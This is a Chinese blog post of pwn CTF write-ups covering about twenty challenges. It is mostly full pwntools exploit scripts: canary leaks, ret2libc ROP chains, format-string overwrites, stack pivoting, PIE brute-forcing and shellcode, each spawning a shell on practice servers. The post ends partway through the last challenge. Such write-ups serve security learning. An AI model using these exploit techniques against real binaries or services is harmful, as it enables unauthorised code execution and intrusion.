[2021 鹤城杯]littleof
libc+canary保护 做了很久终于弄懂了

使用ida打开后发现此处两个read都可以作为溢出点进行栈溢出,但是程序开启了canary保护,所以我们需要绕过canary保护进行栈溢出

v3为canary的值 大小为8个字节位
此时我们可以先编写第一段代码内容,用于获取泄漏的canary值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| from pwn import * context(log_level='debug',arch='amd64') p=remote('node4.anna.nssctf.cn',28445) e=ELF('./littleof') put_got=e.got['puts'] put_plt=e.plt['puts']
ret=0x40059e rdi=0x400863 main_add=0x4006E2
payload1=b'a'*(0x50-8-1)+b'b'
p.sendlineafter("overflow?",payload1)
p.recvuntil(b'ab\n')
canary1=u64(p.recv(7).rjust(8,b'\x00'))
print('canary1',hex(canary1))
|
此时我们已经获取到了第一轮时canary的值,可以用于第二个read进行libc泄漏
1 2 3 4 5 6 7 8 9 10 11 12 13
| payload2=b'\x00'+b'a'*(0x50-8-1)+p64(canary1)
payload2+=p64(ret) payload2+=p64(rdi) payload2+=p64(put_got) payload2+=p64(put_plt) payload2+=p64(main_add)
p.sendlineafter("harder!",payload2) puts_add=u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) print('puts_add',hex(puts_add))
|
此时我们获取到了puts_add的地址信息,此时我们可以在libc-database中寻找对应版本的libc文件,之后既可以进行偏移量的计算从而获取到system和binsh
但是从第二轮开始时canary的值会变,所以我们需要第二次的canary泄漏获取,代码内容和第一轮一致
1 2 3 4 5
| payload3=b'a'*(0x50-8-1)+b'b' p.sendlineafter("overflow?",payload3) p.recvuntil(b'ab\n') canary2=u64(p.recv(7).rjust(8,b'\x00')) print('canary2',hex(canary2))
|
获取到第二轮的canary值后我们就可以进行最后的提权操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| libc=ELF('./libc6_2.27-3ubuntu1.4_amd64.so')
libcbase=puts_add-libc.symbols['puts']
system_add=libcbase+libc.symbols['system']
binsh_add=libcbase+next(libc.search(b'/bin/sh')) payload4=b'\x00'+b'a'*(0x50-8-1)+p64(canary1)+b'a'*(8) payload4+=p64(ret) payload4+=p64(rdi) payload4+=p64(binsh_add) payload4+=p64(system_add) p.sendlineafter("harder!",payload4)
|
完成提权操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| from pwn import * context(log_level='debug',arch='amd64') p=remote('node4.anna.nssctf.cn',28445) e=ELF('./littleof') put_got=e.got['puts'] put_plt=e.plt['puts']
ret=0x40059e rdi=0x400863 main_add=0x4006E2
payload1=b'a'*(0x50-8-1)+b'b' p.sendlineafter("overflow?",payload1) p.recvuntil(b'ab\n') canary1=u64(p.recv(7).rjust(8,b'\x00')) print('canary1',hex(canary1))
payload2=b'\x00'+b'a'*(0x50-8-1)+p64(canary1) payload2+=p64(ret) payload2+=p64(rdi) payload2+=p64(put_got) payload2+=p64(put_plt) payload2+=p64(main_add) p.sendlineafter("harder!",payload2) puts_add=u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) print('puts_add',hex(puts_add))
payload3=b'a'*(0x50-8-1)+b'b' p.sendlineafter("overflow?",payload3) p.recvuntil(b'ab\n') canary2=u64(p.recv(7).rjust(8,b'\x00')) print('canary2',hex(canary2))
libc=ELF('./libc6_2.27-3ubuntu1.4_amd64.so') libcbase=puts_add-libc.symbols['puts']
system_add=libcbase+libc.symbols['system'] binsh_add=libcbase+next(libc.search(b'/bin/sh')) payload4=b'\x00'+b'a'*(0x50-8-1)+p64(canary1)+b'a'*(8) payload4+=p64(ret) payload4+=p64(rdi) payload4+=p64(binsh_add) payload4+=p64(system_add) p.sendlineafter("harder!",payload4)
p.interactive()
|
[BJDCTF 2020]babyrop



ida打开后init函数中没有溢出点,vuln函数中存在read溢出点

shift+f12 为查询到有关键字 使用libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| from pwn import * from LibcSearcher import * context(log_level='debug',arch='amd64') p=remote('node4.anna.nssctf.cn',28995) e=ELF('./babyrop2020')
puts_got=e.got['puts'] puts_plt=e.plt['puts']
ret=0x4004c9 rdi=0x400733 main_add=0x4006AD payload1=b'a'*(0x20+8) payload1+=p64(ret) payload1+=p64(rdi) payload1+=p64(puts_got) payload1+=p64(puts_plt) payload1+=p64(main_add) p.sendafter("story!\n",payload1) puts_add=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) print('puts_add',hex(puts_add))
|

获取到后三位 690 使用网站libc-database 查询
找到对应版本的libc
此时即可计算程序中的偏移值,从而system binsh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| from pwn import * from LibcSearcher import * context(log_level='debug',arch='amd64') p=remote('node4.anna.nssctf.cn',28995) e=ELF('./babyrop2020')
puts_got=e.got['puts'] puts_plt=e.plt['puts']
ret=0x4004c9 rdi=0x400733 main_add=0x4006AD payload1=b'a'*(0x20+8) payload1+=p64(ret) payload1+=p64(rdi) payload1+=p64(puts_got) payload1+=p64(puts_plt) payload1+=p64(main_add) p.sendafter("story!\n",payload1) puts_add=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) print('puts_add',hex(puts_add))
libc=ELF('./libc6_2.20ubuntu11_amd64.so') libcbase=puts_add-libc.symbols['puts'] system_add=libcbase+libc.symbols['system'] binsh_add=libcbase+next(libc.search(b'/bin/sh'))
payload2=b'a'*(0x20+8) payload2+=p64(ret) payload2+=p64(rdi) payload2+=p64(binsh_add) payload2+=p64(system_add) p.sendafter("story!",payload2)
p.interactive()
|
[HNCTF 2022 Week1]ezr0p32

ida中我们可以看到有两个read 其实第二个是溢出点

shift+f12 我们未发现有关键字信息

system有对应的函数地址我们可以直接使用,此时我们还缺binsh


此时我们发现在第一个read中的buf是全局变量 且在bss字段上
此时我们即可在第一个read中输入/bin/sh
第二个read中进行栈溢出+system函数地址+buf地址信息即可完成
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| from pwn import * #引用pwntools库 context(log_level='debug',arch='i386') p=remote('node5.anna.nssctf.cn',20162)#配置nc连接:node5.anna.nssctf.cn:20162
system=0x80483D0 binsh=0x804A080 p.sendlineafter("your name",'/bin/sh')
payload=b'a'*(0x1C+4)+p64(system)+p64(binsh)
p.sendline(payload)
p.interactive()#与程序交互
|
[HDCTF 2023]pwnner

进入ida后我们可以看到read输入进去一个数在11行进行随机数比较,但是11行的rand是伪随机数,种子为0x39

得到伪随机224,根据其他师傅将gcc编译后224的值变成1956681178(暂时不知道如何进行转换)

此时我们就进入了read的溢出点


关键字system binsh都有 此时构造payload即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| from pwn import * #引用pwntools库 context(log_level='debug',arch='amd64') p=remote('node5.anna.nssctf.cn',20456)#配置nc连接:node5.anna.nssctf.cn:
system=0x400610 binsh=0x400A0B ret=0x40028b rdi=0x400933 p.sendlineafter("your name:",b'224') payload=b'a'*(0x40+8)+p64(ret)+p64(rdi)+p64(binsh)+p64(system) #p.sendlineafter("do next?:",payload) p.sendline(payload)
p.interactive()#与程序交互
|
[HNCTF 2022 Week1]ezr0p64

在ida打开后发现puts是直接输出了地址的信息内容
使用int(p.recv(12),16)进行接受
int 型接受12个字符,接受的数据位16进制

接收到程序puts的地址信息后使用libc库中的puts地址进行偏移量计算
即可获取到system函数的地址信息和binsh地址信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| from pwn import * from LibcSearcher import * context(log_level='debug',arch='amd64') p=remote('node5.anna.nssctf.cn',22053) libc=ELF("./libc.so.6") e = ELF("./ezrop64") ret=0x40101a rdi=0x4012a3
p.recvuntil(b'0x') puts_add = int(p.recv(12),16)
print('puts_add:',hex(puts_add)) libcbase=puts_add-libc.symbols["puts"] system_add=libcbase+libc.symbols["system"] binsh=libcbase+next(libc.search(b'/bin/sh'))
payload=b'a'*(0x100+8)+p64(ret)+p64(rdi)+p64(binsh)+p64(system_add)
p.sendafter("your rop.\n",payload)
p.interactive()
|
先查看程序开了那些保护

首先程序开了canary,所以第一步我们就需要去泄漏出程序的canary值

在ida中可以查看到,scanf函数限制输入6个字节长度,但是后面的printf可以去进行格式化字符串的操作

另一个函数中有read 函数可以作为溢出点进行溢出

shift+f12观察到并没有关键字binsh和system可以直接使用,此时我们就需要利用puts函数进行libc泄漏
按照目前可以得知我们的exp构造顺序为:通过printf

我们nc连接后使用aa%x$p去测试什么时候可以返回6161,此时我们可以得知aa%6$p可以返回

在gdb中我们可以看到aa%6$p下一行就是canary的值,所以我们使用aa%7$p则可以输出canary的值
所以我们第一段的代码内容为
1 2 3 4 5 6 7
| payload1='%6$p'
p.sendline(payload1) p.recvuntil('0x') canary=int(p.recv(16),16) print('canary:',hex(canary))
|

此时我们获取到了canary的值,这个时候我们就可以在第二个函数中去进行libc泄漏
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| e=ELF('./adcccc') puts_got=e.got['puts'] puts_plt=e.plt['puts'] ret=0x4005f9 rdi=0x400993 vul=0x400887 payload2=b'a'*(0x20-8)+p64(canary)+p64(0)+p64(rdi)
payload2+=p64(puts_got) payload2+=p64(puts_plt) payload2+=p64(vul)
p.sendafter("me u story!\n",payload2) puts_add=u64(p.recv(7).ljust(8,b'\x00'))
print('puts_add:',hex(puts_add))
|

此时我们获取到了puts地址值 在https://libc.rip/进行查询

我们也可以不下载文件使用libc中提供的地址信息进行获取system binsh地址
1 2 3 4 5 6 7 8 9 10 11
| libcbase=puts_add-0x6f690
system_add=libcbase+0x45390
binsh_add=libcbase+ 0x18cd57
payload3=b'a'*(0x20-8)+p64(canary)+p64(ret)+p64(rdi) payload3+=p64(binsh_add) payload3+=p64(system_add)
p.sendafter("me u story!\n",payload3)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| from pwn import *
context(log_level='debug',arch='amd64') p=remote('node4.anna.nssctf.cn',28599)
cat=0x401229 ret=0x40101a payload1='%6$p'
p.sendline(payload1) p.recvuntil('0x') canary=int(p.recv(16),16) print('canary:',hex(canary))
e=ELF('./adcccc') puts_got=e.got['puts'] puts_plt=e.plt['puts'] ret=0x4005f9 rdi=0x400993 vul=0x400887 payload2=b'a'*(0x20-8)+p64(canary)+p64(0)+p64(rdi) payload2+=p64(puts_got) payload2+=p64(puts_plt) payload2+=p64(vul) p.sendafter("me u story!\n",payload2) puts_add=u64(p.recv(7).ljust(8,b'\x00')) print('puts_add:',hex(puts_add))
libcbase=puts_add-0x6f690 system_add=libcbase+0x45390 binsh_add=libcbase+ 0x18cd57
payload3=b'a'*(0x20-8)+p64(canary)+p64(ret)+p64(rdi) payload3+=p64(binsh_add) payload3+=p64(system_add)
p.sendafter("me u story!\n",payload3)
p.interactive()
|
[UUCTF 2022 新生赛]babystack
简单的栈溢出


ida打开后发现有溢出点 有后面函数,直接进行溢出覆盖返回值即可
1 2 3 4 5 6 7 8 9 10
| from pwn import * context(log_level='debug',arch='amd64') p=remote('node5.anna.nssctf.cn',23563)
br=0x400726 payload=b'a'*(0x100+8)+p64(br)
p.sendline(payload)
p.interactive()
|
[MoeCTF 2021]ret2text_ez
也是同样形式的栈溢出

栈溢出溢出点

后门函数
1 2 3 4 5 6 7 8 9 10 11 12
| from pwn import * context(log_level='debug',arch='amd64') p=remote('node5.anna.nssctf.cn',21274)
br=0x401196 payload=b'a'*(0x20+8)+p64(br)
p.sendline(payload)
p.interactive()
|
[MoeCTF 2022]ret2libc


ida打开后发现除了溢出点,没有其他的关键字内容
进行libc泄漏
1 2 3 4 5 6 7 8
| ret=0x40101a rdi=0x40117e val_add=0x401183 main_add=0x4011A8 payload=b'a'*(0x40+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main_add) p.sendline(payload) puts_add=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) print('puts_add',hex(puts_add))
|
构造第一段exp进行libc的泄漏
在https://libc.rip/进行对应的版本号查询


获取到对应的版本号后,进行偏移量计算,然后通过偏移量计算出system和binsh的真实地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| from pwn import * from LibcSearcher import * context(log_level='debug',arch='amd64') p=remote('node5.anna.nssctf.cn',26945) e=ELF("./ret2libc") puts_plt=e.plt['puts'] puts_got=e.got['puts']
ret=0x40101a rdi=0x40117e val_add=0x401183 main_add=0x4011A8 payload=b'a'*(0x40+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main_add) p.sendline(payload) puts_add=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) print('puts_add',hex(puts_add))
libcbase=puts_add-0x84ed0 system=libcbase+0x54d60 binsh=libcbase+0x1dc698 payload1=b'a'*(0x40+8)+p64(ret)+p64(rdi)+p64(binsh)+p64(system) p.sendline(payload1) p.interactive()
|
easy_overflow

很明显的栈溢出
close(1);关闭了标准输入
需要使用 p.sendline(‘sh flag’)进行查看flag内容

程序有明显的后门函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| from pwn import * context(log_level='debug',arch='amd64') p=remote('node5.anna.nssctf.cn',28791)
br=0x401176 ret=0x40101a rdi=0x401233 payload=b'a'*(0x10+8)+p64(ret)+p64(br)
p.sendline(payload) p.sendline('sh flag') p.interactive()
|
[HGAME 2022 week1]test your gdb


在work函数中我们可以看到 20行有一段read输入16字节长度的数据,与21行进行对比,在判定成功后我们就可以进入到if的内容中,其中write是输出v6的所有内容,我们可以在这个地方去泄漏出canary的值,24行的gets可以给我们进行栈溢出操作
其中s2是一个程序中的固定数据,可以通过gdb动态调试查看到s2的数据内容

函数对是在work函数中进行的,所以我们在work函数下断点

输入r开始运行

我们单步执行到mecmp对比函数中,此时我们可以看到s2的数据对应的地址是0x7ffff79ffe10,使用x/8gx进行查看数据内容

前16字节内容就是我们输入进去进行比较的内容,此时我们可以构造第一段代码内容
1 2 3 4 5 6 7 8 9 10
| v2=p64(0xb0361e0e8294f147)+p64(0x8c09e0c34ed8a6a9)
p.sendafter(b'pass word\n',v2)
p.recv(0x20 - 0x08)
canary=u64(p.recv(8))
print('canary=',hex(canary))
|

此时我们就获取到的程序的canary值,函数也有明显的后门函数,此时就可以利用泄漏出来的canary值去构造第二部分代码
1 2 3 4
| br=0x401256 ret=0x40101a payload1=b'a'*(0x20-0x08)+p64(canary)+b'a'*(0x08)+p64(ret)+p64(br) p.sendline(payload1)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| from pwn import * context(log_level='debug',arch='amd64') p=remote('node5.anna.nssctf.cn',22276)
v2=p64(0xb0361e0e8294f147)+p64(0x8c09e0c34ed8a6a9) p.sendafter(b'pass word\n',v2) p.recv(0x20 - 0x08) canary=u64(p.recv(8)) print('canary=',hex(canary))
br=0x401256 ret=0x40101a payload1=b'a'*(0x20-0x08)+p64(canary)+b'a'*(0x08)+p64(ret)+p64(br) p.sendline(payload1) p.interactive()
|
[CISCN 2019华中]PWN1



在ida中查看可以得知,函数encrypt中存在溢出点,在main函数中可以看到,是第10行的是scanf输入来进行if判断,此时我们输入1即可进入encrypt函数中
我们通过shift+F12查看到程序中没有对应的关键词信息,我们可以得知这题的流程就是:
第一轮,先输入1进入encrypt函数中,再通过栈溢出来获取libc的版本信息
第二轮,先输入1进入encrypt函数中,再通过第一轮泄漏的libc版本信息构造system和binsh,来进行提权操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| from pwn import * context(log_level='debug',arch='amd64') p=remote('node5.anna.nssctf.cn',20228)
p.sendlineafter("Input your choice!\n",b'1')
e=ELF("./PWN1") puts_got=e.got['puts'] puts_plt=e.plt['puts'] main=0x400B28 ret=0x4006b9 rdi=0x400c83
payload1=b'a'*(0x50+8) payload1+=p64(rdi)
payload1+=p64(puts_got) payload1+=p64(puts_plt) payload1+=p64(main) p.sendlineafter("encrypted",payload1)
puts_add=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print('puts_add',hex(puts_add))
libcbase=puts_add-0x809c0 system_add=libcbase+0x4f440 binsh_add=libcbase+0x1b3e9a p.sendlineafter("Input your choice!\n",b'1')
payload1=b'a'*(0x50+8) payload1+=p64(ret) payload1+=p64(rdi)
payload1+=p64(binsh_add) payload1+=p64(system_add) p.sendlineafter("encrypted",payload1) p.interactive()
|
[UUCTF 2022 新生赛]easystack
pie爆破

函数有对应的后门函数

有溢出点,但是溢出需要0x100的空间+0x08去返回地址,所以只剩下2字节的长度大小

后三位是保持不变的,但是倒数第四位就需要我们去爆破
原理大概就是倒数第四位我们无法确定,但是一个数再十六进制只有16种情况,所以让程序都尝试一遍就可以试出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| from pwn import * context(log_level='debug',arch='amd64') p=remote('node5.anna.nssctf.cn',26983)
for num in range(15): p=remote('node5.anna.nssctf.cn',26983) p.recvuntil(b"your name?\n") num=num<<0xc payload=b'a'*(0x100+8) payload+=p16(0x185+num) p.send(payload) if b"born to pwn!" in p.recv(): p.interactive() p.close()
|
[HNCTF 2022 Week1]ezcmp

函数的第16-17行可以看出是输入数据之后进行比对,按照ida中给出的逻辑是不相同执行binsh

strncmp 是相等时返回1
此时我们不知道与buf对比的buff是什么内容

在这边可以看到先是Ayaka_nbbbbbbbbbbbbbbbbb_pluss 字符串内容复制给src,src再复制到buff中,buff再通过enccrypt函数进一步的加密
此时我们可以看到enccrypt函数中使用到了伪随机数,且种子值为1,所以我们可以得知buff的值是一个固定的值并且不会进行改变,所以我们可以通过gdb动态调试看到buff的值内容

在main函数中下断点

我们单步运行到strncmp函数位置,我们可以看到s2是我们输入进去的值,s1是buff值内容赋值到了0x404100 位置,此时我们查看0x404100 地址中的信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| from pwn import * context(log_level='debug',arch='amd64') p=remote('node5.anna.nssctf.cn',22465)
payload=p64(0x144678aadc0e4072) payload+=p64(0x84b6e81a4c7eb0e2) payload+=p64(0xf426588abcee2052) payload+=p64(0x0000c8cb2c5e90c2) p.sendlineafter("maybe useful\n",payload)
p.interactive()
|
[HNCTF 2022 WEEK4]ezcanary

ida打开发现有格式化字符串的漏洞

checksec查看到有canary和NX保护,目前思路就是先获取到canary的值

使用aaaa %p %p %p %p %p %p %p %p %p %p %p 查看到程序偏移为6


使用stack可以查看栈中的情况,我们可以看到canary的值在2d,也就是45,再加上程序偏移6,即可得到51,使用%51$p即可通过格式化字符串获取到canary的值

此时在canary的后两位可以看到0x7ffff7c29d90为libc的值
使用vmmap即可看到libc的初始地址

使用distance可以算出libc的基地址,这个偏移地址是不会发生改变的,此时我们的exp逻辑为,通过格式化字符串泄漏canary的值和libc的基地址
payload=b’%51$p.%53$p’
此时我们第一段payload用于格式化字符串漏洞泄漏出canary的值和canary后两字节的libc地址信息
1 2 3 4 5 6 7 8 9 10 11
| payload=b'%51$p.%53$p' p.sendlineafter("Input your name:\n",payload) canary = int(p.recv(18), 16)
p.recvuntil(b'.0x')
libcbase=int(p.recv(16), 16)-0x29d90
print('canary',hex(canary)) print('libcbase',hex(libcbase))
|
此时我们就获得到了canary的值和libc的偏移量

这个时候我们就可以区在第二个溢出点进行栈溢出
1 2 3 4 5 6 7 8 9 10 11 12 13
| system_add=libcbase+e.sym['system'] binsh_add=libcbase+next(e.search(b'/bin/sh'))
ret=0x40101a rdi=0x401323 payload2=b'a'*(0x110-8)+p64(canary)+p64(0)+p64(ret)+p64(rdi)+p64(binsh_add)+p64(system_add)
p.sendline(payload2) p.interactive()
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| from pwn import * context(log_level='debug',arch='amd64',os='linux')
ming=1 if ming: p=remote('node5.anna.nssctf.cn',25734) else: p=process("pwn1")
e=ELF("./libc.so.6")
payload=b'%51$p.%53$p' p.sendlineafter("Input your name:\n",payload)
canary = int(p.recv(18), 16) p.recvuntil(b'.0x') libcbase=int(p.recv(16), 16)-0x29d90
print('canary',hex(canary)) print('libcbase',hex(libcbase))
system_add=libcbase+e.sym['system'] binsh_add=libcbase+next(e.search(b'/bin/sh')) ret=0x40101a rdi=0x401323 payload2=b'a'*(0x110-8)+p64(canary)+p64(0)+p64(ret)+p64(rdi)+p64(binsh_add)+p64(system_add) p.sendline(payload2) p.interactive()
|
[HGAME 2023 week1]easy_overflow

在ida中查看到程序关闭了标准输入

程序有溢出点且有明显的后门函数,主要问题在于关闭了标准输入,在网上查找 使用sh flag也可以查看到flag内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| from pwn import * context(log_level='debug',arch='amd64') p=remote('node5.anna.nssctf.cn',23009)
br=0x401176 ret=0x40101a rdi=0x401233 payload=b'a'*(0x10+8)+p64(ret)+p64(br)
p.sendline(payload)
p.interactive()
|
[CISCN 2019华南]PWN4

ida查看第6行、第8行都有溢出点,但是s变量大小为0x28,只能溢出8个字节长度,所以需要使用栈迁移

程序的最后是使用leave进行返回的
leave= move esp,ebp pop ebp
首先我们需要使用第一个read去泄漏ebp的值,并且算出偏移计算出输入点s的地址信息buf,在第二个read中输出binsh,将leave的值修改位buf的值,在程序结束调用buf值信息
1 2 3 4 5 6
| payload=b'a'*(0x24)+b'bbbb' p.sendafter(b'your name?\n',payload) p.recvuntil(b'bbbb') rbp=u32(p.recv(4) )
print('rbp',hex(rbp))
|

计算ebp距离输入点s的地址距离

使用ebp-0x38=buf地址
接着可以构造第二段payload
1 2 3 4 5 6 7 8
| payload2=(p32(0x8048400)+p32(0)+p32(buf+12)+b'/bin/sh\x00').ljust(0x28,b'a')+p32(buf-4)+p32(0x8048562)
p.send(payload2)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| from pwn import * context(log_level='debug',arch='amd64',os='linux')
ming=0 if ming: p=remote('node5.anna.nssctf.cn',24332) else: p=process("./PWN4")
payload=b'a'*(0x24)+b'bbbb' p.sendafter(b'your name?\n',payload) p.recvuntil(b'bbbb') rbp=u32(p.recv(4) ) print('rbp',hex(rbp))
buf=rbp-0x38
payload2=(p32(0x8048400)+p32(0)+p32(buf+12)+b'/bin/sh\x00').ljust(0x28,b'a')+p32(buf-4)+p32(0x8048562) p.send(payload2) p.interactive()
|
[CISCN 2019华北]PWN5

ida查看程序main函数中有两个输入点,其中text可以进行栈溢出操作

变量name在bss段上,可读可写可执行
所以我们可以使用在name中输入shellcode,在text中进行栈溢出覆盖返回地址位name的值从而提权
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| from pwn import * context(log_level='debug',arch='amd64',os='linux')
ming=1 if ming: p=remote('node4.anna.nssctf.cn',28005) else: p=process("pwn1")
p.sendafter(b'your name\n',asm(shellcraft.sh()))
payload=b'a'*(0x20+8)+p64(0x601080)
p.sendafter(b'say to me?\n',payload)
p.interactive()
|
[第五空间2019 决赛]PWN5

使用checksec查看32位有canary保护

open(“/dev/urandom”, 0);打开/dev/urandom文件取值存入fd中,fd复制4字节大小参数给0x804C044这个地址上面
19-20行是有格式化字符串的漏洞,我们输入大量的aaaa %p去查看程序的偏移量

查看到偏移量为10
在第24行if判断用户输入的密码与地址0x804C044进行比对,如果相同则提权
我们可以使用格式化字符串的对0x804C044的值进行修改
1 2 3 4 5
| payload1=p32(0x804C044)+b'%10$n'
p.sendlineafter(b'name:',payload1) p.sendlineafter(b'passwd:',str(4))
|
攻防世界pwn1

checksec 查看文件保护 发现有canary和nx

程序中也没用关键字
首先想到使用ret2libc

但是就算将s进行溢出但是也没有大小给我们构造rop,看了别的师傅的wp后发现可以

one_gadget 命令可以看到execve(“/bin/sh”)的基地址信息,此时我们就可以使用偏移值加上基地址就可以进行rop链的构造
所以我们的流程是 泄漏canary->泄漏puts的地址->计算偏移量->提权
首先我们先需要去泄漏他的canary值

我们可以看到v6是canary的值,所以canary对于的地址就是0x90-8

1 2 3 4 5 6 7 8 9 10 11 12
| p.sendlineafter(b'>> ',b'1')
payload=b'a'*(0x90-8-4)+b'bbbb' p.sendline(payload)
p.sendlineafter(b'>> ',b'2')
p.recvuntil(b'bbbb\n') canary=u64(p.recv(7).rjust(8,b'\x00'))
print('canary=',hex(canary))
|
泄漏完canary的值后我们需要进行puts地址的泄漏
1
| payload =b'A'*(0x20 +8) +p64(rdi_addr) +p64(elf.got['puts']) +p64(elf.plt["puts"]) +p64(main_addr)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| e=ELF("./babystack") puts_got=e.got['puts'] puts_plt=e.plt['puts'] libc=ELF("./libc-2.23.so") ret=0x40067e rdi=0x400a93 main=0x400908 payload=b'a'*(0x90-8)+p64(canary)+b'b'*8+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main) p.sendlineafter(b'>> ',b'1') p.sendline(payload) p.sendlineafter(b'>> ',b'3') puts_add=u64(p.recv(6).ljust(8,b'\x00')) print('puts_add',hex(puts_add))
|
获得到puts的真实地址后使用题目给的libc文件的puts基地址减去puts的真实地址就可以获取到偏移量
1 2 3 4 5 6 7
| libibase=puts_add-libc.sym['puts'] shell=0x45216+libibase
payload=b'a'*(0x90-8)+p64(canary)+b'b'*8+p64(shell) p.sendlineafter(b'>> ',b'1') p.sendline(payload) p.sendlineafter(b'>> ',b'3')
|
攻防世界pwn-200


程序没用关键字内容,ret2libc

有read的溢出点

1 2 3 4 5 6 7 8 9
| e=ELF("./adc") write_got=e.got['write'] write_plt=e.plt['write'] main=0x80484BE payload=b'a'*(0x6C+4)+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4) p.recvuntil("!\n") p.send(payload) write=u32(p.recv(4)) print('write',hex(write))
|
我们可以使用LibcSearcher库中的LibcSearcher函数直接进行查找
1 2 3 4 5
| libc = LibcSearcher('write',write) libc_base = write - libc.dump('write') system_addr = libc_base + libc.dump('system') binsh_addr = libc_base + libc.dump('str_bin_sh') payload=b'a'*(0x6C+4)+p32(system_addr)+p32(main)+p32(binsh_addr)
|
实时数据监测


ida查看后发现有明显的格式化字符串漏洞
程序的逻辑是输入进变量s的值后对比key == 0x2223322进行提权
我们可以使用格式化字符串漏洞的对key的值进行修改
查看别的师傅的wp学习到
fmtstr_payload是pwntools集成的模板,对于第一个参数是offest(偏移),后面是地址,和地址中写入的值

测试发现程序的偏移量为12

找到key的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| from pwn import * context(log_level='debug',arch='i386',os='linux')
ming=1 if ming: p=remote('61.147.171.105',53609) else: p=process("pwn")
key=0x804A048 payload=fmtstr_payload(12,{key:0x2223322})
p.sendline(payload)
p.interactive()
|
ciscn_2019_n_5


程序有两个溢出点

程序没有开启nx,第一反应是shellcode,但是shellcode本地可以打通,远程打不通
转换思路为libc泄漏
程序有很多的puts,将puts泄漏后计算偏移
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| from pwn import * from LibcSearcher import * context(log_level='debug',arch='amd64',os='linux')
ming=1 if ming: p=remote('node5.buuoj.cn',25831) else: p=process("pwn")
e=ELF("./ciscn_2019_n_5") puts_got=e.got['puts'] puts_plt=e.plt['puts'] ret=0x4004c9 rdi=0x400713 main_add=0x400636 p.sendlineafter(b'name\n',b'123')
payload=b'a'*(0x20+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main_add) p.sendlineafter(b'say to me?\n',payload) puts_add=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) print('puts_add',hex(puts_add))
libc = LibcSearcher('puts',puts_add) libc_base = puts_add - libc.dump('puts') system_addr = libc_base + libc.dump('system') binsh_addr = libc_base + libc.dump('str_bin_sh')
p.sendlineafter(b'name\n',b'123')
payload=b'a'*(0x20+8)+p64(ret)+p64(rdi)+p64(binsh_addr)+p64(system_addr) p.sendlineafter(b'say to me?\n',payload) p.interactive()
|
ciscn_2019_en_2

在ida中我们可以看到输入1后会进入encrypt函数中

函数中还有一个明显的溢出点

程序没用system binsh关键字,使用libc泄漏获取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| from pwn import * from LibcSearcher import * context(log_level='debug',arch='amd64',os='linux')
ming=1 if ming: p=remote('node5.buuoj.cn',29796) else: p=process("pwn")
e=ELF("./ciscn_2019_en_2") puts_got=e.got['puts'] puts_plt=e.plt['puts'] main=0x400B28 ret=0x4006b9 rdi=0x400c83
p.sendlineafter(b'choice!\n',b'1')
payload=b'a'*(0x50+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main) p.sendlineafter(b'be encrypted',payload) puts_add=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) print('puts_add',hex(puts_add))
libc = LibcSearcher('puts',puts_add) libc_base = puts_add - libc.dump('puts') system_addr = libc_base + libc.dump('system') binsh_addr = libc_base + libc.dump('str_bin_sh')
p.sendlineafter(b'choice!\n',b'1')
payload=b'a'*(0x50+8)+p64(ret)+p64(rdi)+p64(binsh_addr)+p64(system_addr) p.sendlineafter(b'be encrypted',payload) p.interactive()
|
ciscn_2019_ne_5

ida打开后可以看到程序是输入进行选择程序点
输入0:
关闭程序
输入1:

可以输入128个字节长度的值到a1中也就是src中
